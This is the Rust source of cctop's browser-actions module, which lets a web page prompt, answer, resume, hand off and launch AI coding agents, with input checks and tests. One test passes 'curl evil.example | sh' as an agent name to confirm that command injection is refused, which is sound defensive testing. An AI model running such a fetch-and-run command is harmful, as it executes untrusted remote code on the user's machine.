cctop 0.23.3

An htop-like terminal monitor for AI coding agent sessions on Linux (Claude Code, Codex, Cursor, Devin, Gemini CLI, OpenCode, Pi, Windsurf)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
//! The four things the page can do to a session, rather than say about it.
//!
//! Typing a prompt at a live agent, resuming a dead one, handing one's work to a
//! different harness, and answering which harnesses are available to hand it to.
//! Every one of them already existed for the terminal — [`crate::inject`],
//! [`crate::rmux`], [`crate::handoff`] — and none of it is reimplemented here.
//! What this module is, is the part that has to be different because the caller
//! is a socket rather than a keypress:
//!
//! - **It refuses a remote row.** A session read over ssh names a pid and a
//!   directory on *that* machine. Typing at that pid here reaches whatever local
//!   process happens to hold the number, which is the one failure mode worth
//!   more care than the feature is worth. Run `cctop serve` on that machine.
//! - **It bounds what it will send.** A prompt is [`MAX_PROMPT_CHARS`] and no
//!   control characters, because the receiving end is a terminal in raw mode and
//!   an escape sequence typed into one is not a prompt — it is a keystroke the
//!   agent's TUI will act on.
//! - **It never leaves an agent it started unreachable.** A resume or a handoff
//!   goes into a detached rmux session named the way cctop names them, so the
//!   answer can say how to get to it and the terminal UI lists it as a tab the
//!   next time it looks. Without rmux there is nowhere to put a process that
//!   outlives the request, and the action says that instead of starting an agent
//!   attached to a socket that is about to close.
//!
//! # What this is not
//!
//! It does not stop, kill or delete anything. Every action here either adds a
//! turn to a conversation or starts an agent; none of them destroys work, so the
//! worst outcome of a mistaken request is an agent doing something unwanted in a
//! directory, which is recoverable, rather than a session gone, which is not.
//! Stopping an agent stays a terminal thing, where the confirmation prompt is.

use crate::handoff;
use crate::session::{Session, SessionData};
use serde::Serialize;

/// The longest prompt that will be typed at an agent.
///
/// Long enough for a real instruction with a path and a paragraph of context,
/// and short of a paste that would be better written to a file and pointed at —
/// which is the shape [`handoff`] already uses for exactly this reason.
const MAX_PROMPT_CHARS: usize = 4000;

/// How long the launch of a handed-off agent is given before the brief is typed
/// at it.
///
/// Only for the harnesses that take no opening prompt on their command line.
/// See [`handoff::opening_argv`] for why an argument is the better path and what
/// goes wrong on this one — the delay is a mitigation, not a fix.
const HANDOFF_SETTLE: std::time::Duration = std::time::Duration::from_millis(1500);

/// What happened, in the shape the page renders.
#[derive(Debug, Serialize)]
pub struct Done {
    /// One sentence for the reader, whether it worked or not.
    pub message: String,
    /// The rmux session an action started or found, when there is one, so the
    /// answer can tell someone at a terminal where their agent went.
    #[serde(skip_serializing_if = "Option::is_none")]
    pub rmux: Option<String>,
}

/// Where the page can reach this session's own terminal, and how far that reach
/// goes.
#[derive(Debug, Serialize)]
pub struct Terminal {
    /// The rmux operator link, for the page to frame. A shell credential: it is
    /// never logged, never put on the status line, and never returned to a
    /// request that did not carry the token.
    pub url: String,
    /// Whether that link travels through cctop's quick tunnel. `false` means it
    /// resolves to this machine's loopback and works only in a browser already
    /// on it — which the page says rather than showing an empty frame.
    pub tunnelled: bool,
}

/// Where an image the page sent was written, for the prompt to name.
#[derive(Debug, Serialize)]
pub struct Filed {
    /// The absolute path on *this* machine — the one the agent runs on, which
    /// is the whole point of the route: the image was on the reader's laptop
    /// and the agent cannot open anything there.
    pub path: String,
}

/// Every failure is a sentence and a status, because the page shows the sentence
/// and the browser needs the status.
pub type Failed = (u16, String);

/// Write an image the page pasted, and give back the path to put in a prompt.
///
/// The one way an image reaches an agent on a machine you are only sshed into.
/// A terminal carries text and nothing else, so the picture in your clipboard
/// cannot cross that way — but a browser can read a real image off the
/// clipboard, and this page is already talking to the machine the agent is on.
/// So the bytes come over the connection cctop already has, land in a file
/// here, and the agent is handed the path exactly as `F9` hands it one locally.
///
/// Reuses the terminal side's sniff rather than trusting the content type: what
/// is written is a real image or the request is refused, so nothing else can
/// be deposited on the machine through a route whose name says "image".
pub fn image(data: &str) -> Result<Filed, Failed> {
    let Some(image) = crate::clipboard::image_from_paste(data) else {
        return Err((400, "only an image can be pasted here".into()));
    };
    match crate::clipboard::write_image(&image) {
        Ok(path) => Ok(Filed {
            path: path.display().to_string(),
        }),
        Err(e) => Err((503, format!("could not write the image here: {e}"))),
    }
}

fn done(message: impl Into<String>) -> Result<Done, Failed> {
    Ok(Done {
        message: message.into(),
        rmux: None,
    })
}

/// Type `text` at the agent driving `session`, and submit it.
///
/// The prompt is refused rather than sanitised when it carries control
/// characters. Stripping them would send *something*, and the something would
/// differ from what the sender read back on their own screen — which for a
/// surface whose whole job is to be trusted with a prompt is worse than a
/// refusal that says why.
pub fn send(session: &Session, text: &str) -> Result<Done, Failed> {
    local(session)?;
    let text = text.trim();
    if text.is_empty() {
        return Err((400, "nothing to send".into()));
    }
    if text.chars().count() > MAX_PROMPT_CHARS {
        return Err((
            413,
            format!("a prompt is at most {MAX_PROMPT_CHARS} characters"),
        ));
    }
    // A newline is the submit key on a pty, so one inside the text would send
    // the first line and leave the rest typed at whatever came next.
    if let Some(bad) = text.chars().find(|c| c.is_control()) {
        return Err((
            400,
            match bad {
                '\n' | '\r' => "a prompt is one line — it is submitted for you".into(),
                _ => "a prompt cannot contain control characters".into(),
            },
        ));
    }
    let Some(pid) = session.root_pid() else {
        return Err((
            409,
            "nothing is running this session — resume it first".into(),
        ));
    };
    match crate::inject::send_line(pid, text) {
        Ok(()) => done("Sent"),
        // The message names every way in, since which ones apply depends on how
        // the agent was started and that is not something the sender can see.
        Err(why) => Err((409, why)),
    }
}

/// Press the key that answers the prompt this session is holding.
///
/// Not a line of text — the prior version of this sent the words "yes" and
/// "no" to a permission prompt, and Claude Code reads Enter in one as picking
/// the highlighted option — which is "Yes". So "No" allowed the tool. Each
/// harness is pressed the key its own menu names, and only when the row says
/// it is asking: a `1` typed into a composer is a stray character in someone's
/// next prompt, not an answer to anything.
///
/// Deny is Esc everywhere, because it is the one key both menus bind to "no"
/// whatever else they list — the number of the "No" option moves as the menu
/// grows ("always allow", "switch to auto mode"). Allow is the first option,
/// which is "Yes" in both and the only one that never widens what is allowed.
pub fn answer(session: &Session, choice: &str) -> Result<Done, Failed> {
    use crate::inject::Key;
    local(session)?;
    let allow = match choice {
        "allow" => true,
        "deny" => false,
        _ => return Err((400, "an answer is `allow` or `deny`".into())),
    };
    if session.activity_state != crate::session::ActivityState::Asking {
        return Err((409, "this session is not asking anything right now".into()));
    }
    // ponytail: Claude Code and Codex only, the two whose menus were driven and
    // checked. Gemini and OpenCode report prompts too, but pressing a guessed
    // key at a menu that means something else by it is how "No" came to allow.
    let key = match (session.provider, allow) {
        (crate::pricing::Provider::Claude, true) => Key::Char('1'),
        (crate::pricing::Provider::Codex, true) => Key::Char('y'),
        (crate::pricing::Provider::Claude | crate::pricing::Provider::Codex, false) => Key::Escape,
        (other, _) => {
            return Err((
                409,
                format!(
                    "cctop does not know how {} answers a prompt — answer it in its terminal",
                    other.as_str()
                ),
            ));
        }
    };
    let Some(pid) = session.root_pid() else {
        return Err((
            409,
            "nothing is running this session — resume it first".into(),
        ));
    };
    match crate::inject::press(pid, key) {
        Ok(()) => {
            // Every other cctop watching this session hears about the answer
            // over the hook socket and stops asking — the agent's own next
            // event is a while coming, and a denied turn sends none at all.
            crate::hook::announce_answer(&session.session_id, allow);
            done(if allow { "Allowed" } else { "Denied" })
        }
        Err(why) => Err((409, why)),
    }
}

/// Start this session's harness back up on this session's transcript.
///
/// The counterpart of `R` in the terminal, and the only way into a session cctop
/// did not start: there is no pty to borrow, so the agent is launched afresh and
/// handed the transcript by the harness's own resume command.
pub fn resume(session: &Session) -> Result<Done, Failed> {
    local(session)?;
    // Checked before the liveness guard so the refusal says the true reason:
    // a `_pid_` row is always running, and "something is already running this
    // session" would imply there is a session to run.
    if session.process_only() {
        return Err((
            409,
            "no transcript claims this process — there is nothing to resume".into(),
        ));
    }
    let Some(argv) = session.resume_argv() else {
        return Err((
            409,
            format!(
                "{} sessions cannot be resumed from a shell",
                session.surface.label(session.provider)
            ),
        ));
    };
    if !crate::shim::is_command(&argv[0]) {
        return Err((409, format!("{} is not installed on this machine", argv[0])));
    }
    // Resumed under the account the transcript lives in. For Codex this is the
    // difference between resuming and not: a session id under `~/.codex-work`
    // does not exist under `~/.codex`, so the resume would open a blank session
    // and report nothing wrong.
    let argv = under_profile(session, argv);

    // Named after the session, so resuming it twice reattaches to the agent
    // already doing it rather than starting a rival on one transcript — which no
    // harness coordinates, and which is why the terminal asks before doing it.
    let name = crate::rmux::name_for_session(session.provider.as_str(), &session.session_id);
    if crate::rmux::exists(&name) {
        return Ok(Done {
            message: format!("Already running — attach with `rmux attach -t {name}`"),
            rmux: Some(name),
        });
    }
    if session.is_running() {
        return Err((
            409,
            "something is already running this session — two agents on one \
             transcript is not something the harnesses coordinate"
                .into(),
        ));
    }
    launch(&argv, &name, session.work_dir().as_deref())?;
    Ok(Done {
        message: format!("Resumed — attach with `rmux attach -t {name}`"),
        rmux: Some(name),
    })
}

/// Start `agent` fresh, in `cwd` — the browser's `n`.
///
/// The agent has to be one cctop knows, for the same reason `handoff` says: a
/// string that reaches `Command::new` from a socket is a remote shell with
/// extra steps. The directory is the one free choice the request gets, and it
/// has to name a directory that exists — anywhere else the agent would launch
/// into, the terminal's launcher already knows about.
pub fn launch_agent(agent: &str, cwd: Option<&str>) -> Result<Done, Failed> {
    if !agents().iter().any(|known| known == agent) {
        return Err((
            400,
            format!("{agent} is not an agent cctop found on this machine"),
        ));
    }
    let dir = match cwd.map(str::trim).filter(|c| !c.is_empty()) {
        Some(cwd) => {
            let path = std::path::PathBuf::from(crate::util::untildify(cwd));
            match path.is_dir() {
                true => Some(path),
                false => {
                    return Err((400, format!("{cwd} is not a directory on this machine")));
                }
            }
        }
        // Home rather than wherever `cctop serve` was started: a new agent with
        // no stated directory belongs where the user's files are, not where
        // this server happened to be launched.
        None => Some(crate::config::HOME.clone()),
    };
    let name = crate::rmux::free_name(agent);
    launch(&[agent.to_string()], &name, dir.as_deref())?;
    Ok(Done {
        message: format!("Started {agent} — attach with `rmux attach -t {name}`"),
        rmux: Some(name),
    })
}

/// `argv` run under the account whose directory this session was read out of.
///
/// Resumed under the account the transcript lives in. For Codex this is the
/// difference between resuming and not: a session id under `~/.codex-work` does
/// not exist under `~/.codex`, so the resume would open a blank session and
/// report nothing wrong.
fn under_profile(session: &Session, argv: Vec<String>) -> Vec<String> {
    match profile_of(session) {
        Some(profile) => crate::config::argv_under_profile(argv, profile),
        None => argv,
    }
}

/// The profile a session was read out of, when it still exists.
fn profile_of(session: &Session) -> Option<&'static crate::config::Profile> {
    let name = session.profile.as_deref()?;
    crate::config::profile_named(session.provider, name)
}

/// Write `session`'s brief and start `agent` on it, in the same directory.
///
/// This is the cross-harness move: a resume puts the same harness back on the
/// same transcript, and a handoff carries what the session was doing across to
/// a different agent entirely — the one thing no harness can do for itself,
/// since each can only read its own transcripts.
pub fn handoff(session: &Session, data: Option<&SessionData>, agent: &str) -> Result<Done, Failed> {
    local(session)?;
    // The agent has to be one cctop knows, not a command from the request. A
    // string that reaches `Command::new` from a socket is a remote shell with
    // extra steps, however well the token in front of it is kept.
    if !agents().iter().any(|known| known == agent) {
        return Err((
            400,
            format!("{agent} is not an agent cctop found on this machine"),
        ));
    }
    // Claude to Claude there is a better handoff than a summary: the receiving
    // agent reads the same transcript format the sending one wrote, so it can be
    // resumed onto a copy of the conversation itself. `handoff::fork` says what
    // that costs and why it is still the right trade.
    if agent == "claude"
        && let Some(transcript) = handoff::forkable(session)
    {
        return forked(session, transcript);
    }
    // Between two harnesses that keep a file of JSON lines, the same trade is
    // available by transcode rather than by copy: `crate::convert` reads one
    // store and writes the other, and the receiving agent resumes onto that.
    // Only reached when the copy above did not apply, so a Claude session going
    // to Claude still keeps every record the copy carries over byte for byte.
    if let Some(converted) = converted(session, agent) {
        return match converted {
            Ok(converted) => Ok(converted),
            // A conversion that could not be written is not a failure of the
            // handoff: the brief below is a working handoff with less of the
            // conversation in it, which is the trade `handoff` exists for.
            Err(reason) => {
                crate::elog::event(
                    "handoff",
                    "convert-fallback",
                    serde_json::json!({ "agent": agent, "reason": reason }),
                );
                brief_handoff(session, data, agent)
            }
        };
    }
    brief_handoff(session, data, agent)
}

/// Hand a session over as a brief: a markdown summary the receiving agent is
/// pointed at, rather than the conversation itself.
///
/// The shape every handoff falls back to, and the only one available to a
/// harness whose store cctop cannot write — or to a pair that
/// [`crate::convert`] does not yet transcode between.
fn brief_handoff(
    session: &Session,
    data: Option<&SessionData>,
    agent: &str,
) -> Result<Done, Failed> {
    let brief = handoff::build(session, data);
    let path = handoff::write(&brief)
        .map_err(|e| (503, format!("could not write the handoff brief: {e}")))?;
    let line = handoff::prompt_for(&path);

    let argv = vec![agent.to_string()];
    // Handed over in the argv wherever the harness takes an opening prompt.
    // `handoff::opening_argv` documents why that is not the same as typing it:
    // an agent still asking the terminal what it can do eats part of whatever
    // is in the input queue, and a half-swallowed path looks like a whole one.
    let opening = handoff::opening_argv(&argv, &line);
    let name = crate::rmux::free_name(agent);
    launch(
        opening.as_ref().unwrap_or(&argv),
        &name,
        session.work_dir().as_deref(),
    )?;

    if opening.is_none() {
        // Nowhere to put the brief but the keyboard, and not until the agent is
        // reading one. The thread outlives the request on purpose: the answer
        // should not wait a second and a half to say the agent started.
        let name_for_thread = name.clone();
        std::thread::spawn(move || {
            std::thread::sleep(HANDOFF_SETTLE);
            if let Some(pid) = crate::rmux::agent_pid(&name_for_thread) {
                let _ = crate::inject::send_line(pid, &line);
            }
        });
    }
    Ok(Done {
        message: format!(
            "Handed {} to {agent} — attach with `rmux attach -t {name}`",
            brief.summary()
        ),
        rmux: Some(name),
    })
}

/// The transcode of this session into `agent`'s store, if cctop can do one.
///
/// `None` for a pair that cannot be converted, and for a session with no
/// transcript on this disk to read — either way the caller has a brief to fall
/// back on, so the distinction matters only in what gets written.
fn converted(session: &Session, agent: &str) -> Option<Result<Done, String>> {
    if !crate::convert::convertible_session(session) {
        return None;
    }
    let target = crate::pricing::Provider::parse(agent)?;
    if !crate::convert::convertible(session.provider, target) {
        return None;
    }
    let transcript = session.data_file.as_deref()?;
    // The receiving account's store, not the sending one's: handing a personal
    // session to a work login has to write it where that login will look.
    let home = default_home(target)?;
    Some(
        crate::convert::convert(session.provider, transcript, target, &home)
            .ok_or_else(|| "the transcript could not be read or written in that format".to_string())
            .and_then(|written| resume_converted(session, &written)),
    )
}

/// The store `target` keeps its sessions in.
///
/// The conventional directory rather than a named account's: a converted
/// session is written for whoever resumes it, and the launcher picks which
/// account that is by setting the harness's environment variable in the argv it
/// runs. Writing into `~/.claude` and launching a work login would leave the
/// copy where the work login never looks, which is the same mistake
/// [`crate::handoff::fork`] avoids by taking the profile explicitly.
fn default_home(target: crate::pricing::Provider) -> Option<std::path::PathBuf> {
    Some(match target {
        crate::pricing::Provider::Claude => crate::config::CLAUDE_CONFIG_DIR.clone(),
        crate::pricing::Provider::Codex => crate::config::CODEX_HOME.clone(),
        _ => return None,
    })
}

/// Start the receiving agent resumed onto the converted transcript.
///
/// The harness and the id both come off the [`crate::convert::Converted`]
/// rather than off the request, so the agent that is started and the store the
/// conversation was written into cannot disagree — which would resume a
/// session that does not exist and report a handoff that did not happen.
fn resume_converted(
    session: &Session,
    converted: &crate::convert::Converted,
) -> Result<Done, String> {
    let target = converted.provider;
    let agent = target.as_str();
    let argv = match target {
        crate::pricing::Provider::Claude => vec![
            "claude".to_string(),
            "--resume".to_string(),
            converted.session_id.clone(),
        ],
        crate::pricing::Provider::Codex => vec![
            "codex".to_string(),
            "resume".to_string(),
            converted.session_id.clone(),
        ],
        _ => return Err("that harness has no resume command cctop knows".into()),
    };
    let name = crate::rmux::free_name(agent);
    // Launched from the session's own directory, which is what the converted
    // transcript recorded as its `cwd` — and both harnesses filter their resume
    // pickers on it, so launching elsewhere would start an agent that cannot
    // see the conversation it was just handed.
    let cwd = session.work_dir();
    launch(&argv, &name, cwd.as_deref()).map_err(|(_, why)| why)?;
    // The id is named because it usually *is* the source session's, and a user
    // comparing the two stores will want to know whether it was kept. When it
    // was not, the marker written into the transcript still says which session
    // this is a copy of — that is the whole point of writing one.
    let note = match converted.id_kept {
        true => "under its own id".to_string(),
        false => format!(
            "as {}, the id it was converted from being taken",
            converted.session_id
        ),
    };
    crate::elog::event(
        "handoff",
        "converted",
        serde_json::json!({
            "agent": agent,
            "session": converted.session_id,
            "id_kept": converted.id_kept,
            "transcript": converted.path.to_string_lossy(),
        }),
    );
    Ok(Done {
        message: format!(
            "Handed the conversation to a new {agent} {note} — attach with `rmux attach -t {name}`"
        ),
        rmux: Some(name),
    })
}

/// Copy this session's transcript and start a second Claude on the copy.
///
/// The two agents share everything said so far and nothing after it: the copy
/// is what keeps this a handoff rather than two agents appending to one
/// transcript, which is the thing [`resume`] refuses to do.
fn forked(session: &Session, transcript: &std::path::Path) -> Result<Done, Failed> {
    let profile = profile_of(session);
    let config_dir = profile
        .map(|p| p.dir.clone())
        .unwrap_or_else(|| crate::config::CLAUDE_CONFIG_DIR.clone());
    let id = handoff::fork(transcript, &config_dir)
        .map_err(|e| (503, format!("could not copy the transcript: {e}")))?;
    let argv = under_profile(
        session,
        vec!["claude".into(), "--resume".into(), id.clone()],
    );
    // A fresh id, so unlike a resume there is nothing to be idempotent about:
    // the copy has never been opened by anything.
    let name = crate::rmux::free_name("claude");
    launch(&argv, &name, session.work_dir().as_deref())?;
    Ok(Done {
        message: format!(
            "Handed the conversation to a new claude — attach with `rmux attach -t {name}`"
        ),
        rmux: Some(name),
    })
}

/// The agents on this machine a session can be handed to.
///
/// The same list the terminal launcher offers, minus the shell: handing a brief
/// to `$SHELL` would start a shell with a paragraph typed into it.
pub fn agents() -> Vec<String> {
    crate::alias::AGENTS
        .split_whitespace()
        .filter(|agent| crate::shim::is_command(agent))
        .map(str::to_string)
        .collect()
}

/// Put `argv` in a detached rmux session called `name`.
///
/// rmux rather than a bare child process, for a reason that is not stylistic: a
/// connection thread's children die with the request, and an agent needs a
/// terminal to run in and to still be there afterwards. rmux provides both and
/// is already how cctop hosts agents it did not start in a tab, so an agent
/// started from the browser is one the terminal UI lists and can attach to.
fn launch(argv: &[String], name: &str, cwd: Option<&std::path::Path>) -> Result<(), Failed> {
    if !crate::rmux::available() {
        return Err((
            503,
            "starting an agent from the browser needs rmux, which is not \
             installed — `cctop` in a terminal can do this without it"
                .into(),
        ));
    }
    crate::rmux::prepare(argv, name, cwd);
    // `prepare` is best-effort by design: every failure inside it leaves the
    // session absent. That is the one thing worth checking, because a caller
    // told "started" about a session that does not exist has nowhere to go.
    match crate::rmux::exists(name) {
        true => Ok(()),
        false => Err((503, format!("rmux would not start {}", argv[0]))),
    }
}

/// Refuse a row that came from another machine.
///
/// Every action below signals a pid, opens a directory or writes a file, and all
/// three are about *this* filesystem. See [`crate::session::Remote`].
fn local(session: &Session) -> Result<(), Failed> {
    match &session.remote {
        Some(remote) => Err((
            409,
            format!(
                "this session is on {} — run cctop serve there to act on it",
                remote.host
            ),
        )),
        None => Ok(()),
    }
}

/// Mint a link to this session's own terminal, for the page to frame.
///
/// Only reaches an agent cctop handed to the multiplexer — the same limit `a`
/// and `W` have in the terminal, and for the same reason: an agent on cctop's
/// own pty is on no terminal a second viewer can be pointed at.
///
/// One share per session, reused — see [`crate::rmux::share_link`]. A link
/// minted afresh on every ask left a row in `rmux web-share list` per page
/// reload and, because each tunnelled one dials a rate-limited public relay,
/// eventually came back untunnelled. Reusing it also matches what is true:
/// there is one terminal here, however many people are looking at the page.
///
/// rmux raises the tunnel — see [`crate::rmux::web_share`] for why cctop's own
/// one cannot carry a share — and a machine with no way out falls back to a
/// loopback link rather than to nothing. Which of the two it got is in the
/// answer, because a link that only opens on the server's own desk is not a
/// failure the reader can see.
pub fn terminal(session: &Session) -> Result<Terminal, Failed> {
    local(session)?;
    let Some(pid) = session.root_pid() else {
        return Err((
            409,
            "nothing is running this session — resume it first".into(),
        ));
    };
    let Some(name) = crate::rmux::holding(pid) else {
        return Err((
            409,
            "only an agent cctop put in a multiplexer has a terminal to show".into(),
        ));
    };
    let (share, tunnelled) = crate::rmux::share_link(&name, true)
        .map_err(|why| (409, format!("could not open that terminal: {why}")))?;
    let Some(url) = share.operator else {
        return Err((409, "the share came back without an operator link".into()));
    };
    Ok(Terminal { url, tunnelled })
}

#[cfg(test)]
mod image_tests {
    use super::*;

    /// The page's route files an image and refuses everything else.
    ///
    /// The refusal matters more than the acceptance: this is a route that
    /// writes a file on the machine the agents run on, so what it will write is
    /// bounded by the same sniff the terminal side uses rather than by the
    /// content type the sender claimed.
    #[test]
    fn only_an_image_is_filed() {
        let mut png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".to_vec();
        png.resize(64, 0);
        let data = format!(
            "data:image/png;base64,{}",
            crate::util::b64_encode(png.as_slice())
        );
        let filed = image(&data).expect("a PNG was refused");
        let path = std::path::PathBuf::from(&filed.path);
        assert_eq!(std::fs::read(&path).ok().as_deref(), Some(png.as_slice()));
        let _ = std::fs::remove_file(&path);

        assert_eq!(
            image("data:image/png;base64,bm90IGEgcG5nIGF0IGFsbCwgaG9uZXN0bHkgbm90").map(|f| f.path),
            Err((400, "only an image can be pasted here".to_string())),
            "a base64 payload that is not an image was filed"
        );
        assert!(image("what is wrong with this?").is_err());
        assert!(image("").is_err());
    }
}

#[cfg(test)]
mod tests {
    use super::*;
    use crate::pricing::Provider;

    fn session() -> Session {
        Session::new(Provider::Claude, "s1".into())
    }

    /// Nothing is pressed at a session that is not asking: the key that answers
    /// a prompt is a stray character typed into a composer anywhere else.
    #[test]
    fn a_prompt_is_only_answered_while_one_is_open() {
        let (status, message) = answer(&session(), "allow").unwrap_err();
        assert_eq!(status, 409);
        assert!(message.contains("not asking"), "{message}");

        let mut asking = session();
        asking.activity_state = crate::session::ActivityState::Asking;
        assert_eq!(answer(&asking, "yes").unwrap_err().0, 400);
        // Asking, answerable, and nothing to press it at — the refusal is
        // about the process, not the answer.
        assert!(answer(&asking, "deny").unwrap_err().1.contains("resume"));
    }

    /// A harness whose menu nobody has driven gets no guessed key: a guess is
    /// how "No" came to allow.
    #[test]
    fn an_unknown_harness_is_told_to_answer_in_its_terminal() {
        let mut gemini = Session::new(Provider::Gemini, "g1".into());
        gemini.activity_state = crate::session::ActivityState::Asking;
        let (status, message) = answer(&gemini, "allow").unwrap_err();
        assert_eq!(status, 409);
        assert!(message.contains("its terminal"), "{message}");
    }

    /// A remote row's prompt belongs to the machine it is on — the pid that
    /// would be pressed at is a local coincidence.
    #[test]
    fn a_remote_prompt_is_refused_before_a_key_is_chosen() {
        let mut session = session();
        session.remote = Some(crate::session::Remote {
            host: "build-box".into(),
            branch: None,
            ..Default::default()
        });
        session.activity_state = crate::session::ActivityState::Asking;
        let (status, message) = answer(&session, "allow").unwrap_err();
        assert_eq!(status, 409);
        assert!(message.contains("build-box"), "{message}");
    }

    #[test]
    fn a_prompt_with_no_agent_running_says_to_resume_rather_than_failing_obscurely() {
        let (status, message) = send(&session(), "carry on").unwrap_err();
        assert_eq!(status, 409);
        assert!(message.contains("resume"), "{message}");
    }

    /// A `\r` is the submit key on a pty, so a two-line prompt sends its first
    /// line and types the rest at whatever the agent shows next.
    #[test]
    fn a_multi_line_prompt_is_refused_with_the_reason() {
        let (status, message) = send(&session(), "do this\nand that").unwrap_err();
        assert_eq!(status, 400);
        assert!(message.contains("one line"), "{message}");
    }

    #[test]
    fn an_escape_sequence_is_not_a_prompt() {
        let (status, _) = send(&session(), "quit\u{1b}[A").unwrap_err();
        assert_eq!(status, 400);
    }

    #[test]
    fn an_empty_prompt_is_refused_before_anything_is_looked_up() {
        assert_eq!(send(&session(), "   ").unwrap_err().0, 400);
    }

    #[test]
    fn a_prompt_past_the_cap_is_refused() {
        let long = "x".repeat(MAX_PROMPT_CHARS + 1);
        assert_eq!(send(&session(), &long).unwrap_err().0, 413);
    }

    /// The pid and the working directory in a remote row belong to another
    /// machine, and every action here would apply them to this one.
    #[test]
    fn every_action_refuses_a_session_on_another_machine() {
        let mut session = session();
        session.remote = Some(crate::session::Remote {
            host: "build-box".into(),
            branch: None,
            ..Default::default()
        });
        for (status, message) in [
            send(&session, "hello").unwrap_err(),
            resume(&session).unwrap_err(),
            handoff(&session, None, "claude").unwrap_err(),
        ] {
            assert_eq!(status, 409);
            assert!(message.contains("build-box"), "{message}");
        }
    }

    /// The agent name reaches `Command::new`, so it is checked against what
    /// cctop found on this machine rather than taken from the request.
    #[test]
    fn a_handoff_target_that_is_not_a_known_agent_is_refused() {
        let (status, message) = handoff(&session(), None, "curl evil.example | sh").unwrap_err();
        assert_eq!(status, 400);
        assert!(message.contains("not an agent"), "{message}");
    }

    #[test]
    fn a_provider_with_no_resume_command_says_so() {
        let session = Session::new(Provider::Cursor, "s1".into());
        let (status, message) = resume(&session).unwrap_err();
        assert_eq!(status, 409);
        assert!(message.contains("cannot be resumed"), "{message}");
    }
}